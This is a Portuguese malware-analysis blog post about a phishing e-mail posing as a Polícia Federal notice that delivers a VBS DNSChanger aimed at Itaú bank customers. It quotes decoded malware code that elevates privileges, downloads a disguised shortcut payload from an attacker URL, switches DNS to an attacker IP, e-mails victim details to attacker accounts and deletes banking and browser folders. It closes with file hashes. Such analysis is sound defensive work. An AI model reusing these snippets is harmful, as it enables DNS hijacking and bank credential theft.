Phishing Polícia Federal

Charles Lomboni
stolabs
Published in
5 min readMar 12, 2018

Recebemos um e-mail da Polícia Federal com o título de “Notificação de abuso”:

Email phishing

Como suspeitávamos tratava-se de um phishing. Afim de analisarmos o mesmo seguimos as instruções e abrimos o link, que por sua vez já não funcionava mais:

Link malicioso não encontrado

Obviamente ficamos curiosos e olhamos com mais atenção o servidor em questão. Sem muito esforço percebemos que o diretório raiz está com seu conteúdo indexado — index of:

Index of

[ 0x00 ] — Obtendo o artefato.

No diretório “https:/” encontramos um phishing do mercado livre que se baseia no download de “CUPOM MERCADO LIVRE.zip”, e dentro temos um .vbs malicioso.

Download do malware

[ 0x01 ] — O que o artefato (principal) faz?

Parte do arquivo vem encodado para dificultar a análise, porém o próprio código faz o decode das informações. Para fazer-lo utilizando o mesmo código, utilizei o VbsEdit para mudar o comando “execute” para “msgbox” — para evitar que o código seja executado — e setei um breakpoint na linha 3, assim é possível pegar o código completo sem encode e sem executar.

Código encodado

Com o código em mãos, é possível identificar nas primeiras linhas que ele cria um outro arquivo .vbs chamado SystemBOOT.vbs no path: %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SystemBOOT.vbs

É possível identificar que o artefato precisa de permissão de administrador para fazer algumas operações:

set oBjSHELl=creatEOBjeCt(“Shell.Application”)
objsHElL.SheLlExecute”wscript.exe”,CHr(34)&wScRIPT.sCRiPtFuLLName&ChR(34)&” uac”,””,”runas”,1

Após, ele desabilita o ipv6 da máquina:

opeRatIOnrEgIstRy.reGWritE”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\DisabledComponents”,-1,”REG_DWORD”

Em outro passo, baixa uma “imagem” do endereço:

https://site/wp/wp-includes/images/smilies/google.jpg

A imagem está entre aspas, pois após análise chegamos a conclusão de que não é de fato uma imagem. Colhemos mais informações do .jpg após a execução do strings, e então temos algumas strings suspeitas listadas:

λ strings google.jpg

Strings v2.53 — Search for ANSI and Unicode strings in binary images.
Copyright © 1999–2016 Mark Russinovich
Sysinternals — www.sysinternals.com

+00
/C:\
PROGRA~2
Program Files (x86)
@shell32.dll,-21817
Google
Google
Chrome
Chrome
APPLIC~1
vga
aApplication
chrome.exe
chrome.exe
-”^
Acer
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Acessar a internetD..\..\..\..\Program Files (x86)\Google\Chrome\Application\chrome.exe0C:\Program Files (x86)\Google\Chrome\Application. — ignore-certificate-errors — disable-infobars;C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe
%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe
@Z|
acer
1SPS
L8C
S-1–5–18
1SPSU(L
Chrome
1SPS
H@.
8uF

Essas strings são usadas para a criação de um atalho do google chrome na área de trabalho com os parâmetros

— ignore-certificate-errors — disable-infobars

Esse comando ignora erros de certificado e a infobar do chrome (listada abaixo)

Imagem copiada da primeira busca de infobar chrome no google

O que leva a crer que o atacante não quer que o usuário veja a barrinha amarela de avisos do chrome, por quê? Talvez por ele decidir adicionar um certificado falso no site acessado e isso alertaria na infobar.

Os lugares que os atalhos são criados de acordo com o código são:

sEt ows=CReatEOBject(“WScript.Shell”)
uSERprofile=owS.exPANDenvIroNMenTsTriNgs(“%appdata%”)
PATHfILeName=OSHELl.exPaNdenviRonmEnTSTrIngS(“%userprofile%”)
LiNkdAPArAda=”https://myinfomax.info/wp/wp-includes/images/smilies/google.jpg"
DOWNlOad linKDapaRAda,paThfileNAMe+”\Desktop\Google Chrome.lnk”
dOWNload linkdaPArada,”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk”
doWnLoad linKDaparadA,usERprOfiLe+”\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk”
doWNlOad lInkDaparaDa,USErPROfIle+”\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk”

Até aqui tudo bem, identificamos que ele executa o .vbs solicitando privilégios adiminstrativos, baixa uma imagem — que na verdade não é imagem — e faz alguns atalhos em locais do computador usando o chrome, que por sinal esses atalhos passam aqueles dois parâmetros suspeitos.

Tendo em mente tudo isso, esta parte do código se torna mais interessantes ainda:

StrComputEr=”.”
aRRego=”80.211.148.75"
sOFIA=”8.8.4.4"
aRREgaLIa=arRaY(ARRego,SoFia)

Set OBJWmiSErVIcE=getoBjEct(“winmgmts:{impersonationLevel=impersonate}!\\”&StrCoMpuTEr&”\root\cimv2")
SEt cOlniCCoNfigs=objWmISERViCE.execquery(“SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True”)

FOr Each OBjniCConfIG in cOlNIcCOnfigs
ObjNicCOnfIg.seTdnsSerVERsearchorder(Arregalia)
nexT

Um loop que procura os adaptadores de rede ativos e troca o dns primário para o dns do atacante que está na variável “aRRego”, e o secundário para o dns do google, variável “sOFIA”.

Outro ponto interessante para se avaliar… Por qual motivo o atacante desabilitaria o ipv6 e deixaria apenas o ipv4 utilizando um dns da escolha dele e outro do google? Mais para frente vamos continuar com esse questionamento.

Ao final do primeiro .vbs, existe informações da máquina da vítima que será enviada para o e-mail do atacante.

CoNst EmAiLfrOM=”jnschein@bol.com.br
cOnSt EMaIlFRoMNAMe=”PACHECO”
CoNsT Emailto=aj8254724@gmail.com
CoNst smTPSerVEr=”smtps.bol.com.br”
CoNSt sMTPlOgon=”jnschein”
CoNst smTPPaSSWoRD=”xxx”
..
EMaiLsUBjECT=” LEBRON JAMES → “&MEUiP&””
EmaiLBODy=”Nome do PC = “&NeT.cOmputERnAME&” “&vbCrlf&”Sistema = “&SIstEMA&” “&vbCrlF&”Nome USER = “&NET.USErnAMe&vBCRLF&TIMe&””&dAtahoRA&””

Possivelmente esse email do qual o atacante usa para enviar as informações do computador da vítima é roubado — para dificultar a análise e não deixar vestígios de quem ele é.

[ 0x02 - O SystemBOOT.vbs ]

Esse arquivo é gerado a partir do artefato principal e tem algumas linhas interessantes para apagar a pasta do aplicativo Itaú, atalho na área de trabalho e apagar as pastas do google chrome e firefox.

If (applaranja.FolderExists(userProfile + “\Aplicativo Itau”)) Then
Folder.DeleteFolder(userProfile + “\Aplicativo Itau”), true
End If

If (crhome.FolderExists(userProfile + “\Google\Chrome\User Data\Default\Cache”)) Then
Folder.DeleteFolder(userProfile + “\Google\Chrome\User Data\Default\Cache”), true
End If

If (firefoca.FolderExists(userProfile + “\Mozilla\Firefox\Profiles”)) Then
Folder.DeleteFolder(userProfile + “\Mozilla\Firefox\Profiles”), true
End If

dim pathfilename
pathfilename = oShell.ExpandEnvironmentStrings( “%userprofile%” )
pathfilename=pathfilename & “\Desktop\Itaú.lnk”

if objFSO.fileexists (pathfilename) then
objFSO.DeleteFile(pathfilename)
else
end if

[ 0x03 - Conclusão ]

Com o término da análise de código e juntando todas as peças e pontas que o atacante deixou, chegamos a conclusão que o malware é do tipo DNSChanger, que procura redirecionar o usuário infectado para um dns adicionado na máquina pelo atacante para um possível roubo de informações.

Por que chegamos a esta conclusão? O SystemBOOT.vbs apaga a pasta e atalho do Itaú para dar erro ao executar o aplicativo, forçando o usuário infectado a entrar no site do Itaú. Porém, o atacante já modificou o dns na máquina, então o acesso a www.itau.com.br poderia ser facilmente direcionado para uma página fake do atacante.

Este motivo encaixa com o fato do atalho forçar a não dar erro no certificado e não mostrar o infobar no chrome, também o fato de inserir um dns primário e um secundário. Se o primário der problema o usuário não desconfia, pois o secundário é o do google.

[ 0x04 - Hashs ]

CUPOM MERCADO LIVRE.zip
MD5: 1625AAC2B0F1992D7C05A56C30769212
SHA-1: C6529D127445C56833682F7542F765B8C65BD087

CUPOM Nº 04482993.vbs
MD5: 35517DA61E79765300697B04B7BF6256
SHA-1: FD852680DBE3B8AF3900989ABE56F27D41C453C4

SystemBOOT.vbs
MD5: BD70DC59EB39D8BE0AB34517DF6D7CC1
SHA-1: BB6D0537499B42AA11CE5F072A92ACB381F16068

[ 0x05 - Participação ]

Oliveira Lima no recolhimento e análise do phishing.

--

--